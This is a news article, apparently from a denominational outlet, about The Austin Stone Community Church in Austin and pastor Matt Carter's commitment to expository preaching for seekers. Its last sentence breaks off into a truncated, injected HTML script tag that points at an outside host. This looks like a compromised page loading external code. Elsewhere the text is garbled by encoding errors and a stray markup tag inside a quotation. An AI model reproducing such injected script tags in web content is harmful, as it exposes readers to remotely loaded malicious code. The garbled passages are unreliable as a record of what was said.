Austin congregation puts priority on exposition

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AUSTIN?While the growing trend among church plants is to model after “seeker-sensitive churches” that often probe Bible topics without textual examination, The Austin Stone Community Church is setting themselves apart by being “seeker sensitive” and using expository preaching?the method of probing the biblical text for all its intended meaning and application.

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Furthermore, the church’s pastor, Matt Carter, strongly believes in presenting the entire truth of Scripture as the best way to minister to “seekers.”

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“Everything about our church is seeker friendly except what we present from the stage,” Carter said, adding that the environment and feel of the congregation is very contemporary.

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“I would consider ourselves a very seeker-sensitive church, in the sense that I believe an atheist could walk in our doors and feel very welcomed and loved,” he said. “In fact, that has already happened. Somewhere, we have gotten to a place as a church ‘universal’ where we think that if we present the whole truth of the gospel of Jesus Christ, that somehow, we will offend seekers.

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“Well, let’s look at the word ‘seeker.’ What exactly are they seeking? In my experience, seekers are more than anything seeking the truth. We believe the best thing we can offer those exploring faith and spirituality is the truth of the gospel and the love of Christ. I want to make something very clear. I don’t want to minimize, in any way, what God is doing through churches who use a different approach in preaching. But we feel very strongly about what God is asking us to do in downtown Austin.”

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When Carter went to Texas A&M University, he attended Central Baptist Church in Bryan?a church which also uses expository preaching. The pastor of Central, Chris Osborne, has greatly influenced Carter’s preaching methods.

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“Chris Osborne literally preaches from the Greek New Testament, and under his teaching, I discovered a couple of things. His preaching had a spiritual authority that many preachers lack. Secondly, I remembered his sermons better than I did other preachers because his points were always taken from the text, not his own opinion. That stuck with me.”

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Carter pointed out, while some people think preaching in this manner won’t attract people, Central recently built a 3,000 seat auditorium that is regularly filled on Sunday morning.

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“t1:City>Austin is the coolest, savviest, slickest, most entertaining town I have ever seen,” he said. “I knew immediately that we would not be able to impress the people here with our creativity or style, so we thought we would simply present Jesus.” The University of Texas at Austin is the largest college in the nation with more than 49,000 students representing all 50 states and 115 foreign countries. In addition, St. Edward’s University and Concordia University are located in Austin.

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Carter continued, “1 Corinthians 2:4, says, ‘And my message and my preaching were not in persuasive words of wisdom, but in a demonstration of the spirit’s power, that your faith should not rest on the wisdom of men, but on the power of God.'”

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Since The Austin Stone Community Church was established in December 2002 by Carter and recording artist/songwriter Chris Tomlin, it has become a dynamic work in inner-city Austin, doubling the initial attendance of 180 people in less than a year. The church meets at Stephen F. Austin High School at 1715 West Cesar Chavez.

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Carter and discipleship pastor Brad Cauley recently led a series out of the book of John. “We’ve had great response to that. We’re very passionate about the word of God.”

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In discussing where the church is headed, Carter said, “I think that our church is going to be a very missions-centered church. I can see our church as making a significant impact in the church planting culture. Chris and I asked ourselves at the beginning of this, ‘What would be more satisfying? To build a church that had 15,000 people coming, or to build a church that maybe had 1,500 people coming but planted 150 churches and supported 150 missionaries?’

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But Carter realizes that a firm foundation must be laid to establish that work.

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“We heard a great illustration the other day that’s really impacted our lives,” Carter said. “An elder at another church was talking about his church, and he said, ‘Matt, you need to remember that what you’re building is an oak tree. An oak tree grows very slowly and puts down very deep roots. But when it’s fully grown, it produces millions of acorns. That’s the picture of what you’re trying to grow.’

“So, our plan for growth is to just take it slow and to really build a firm foundation because we want to have a church that’s going to be producing fruit 50 years from now. We’re really laying the foundation and trying to disciple and train people effectively and <script src=http://lizam

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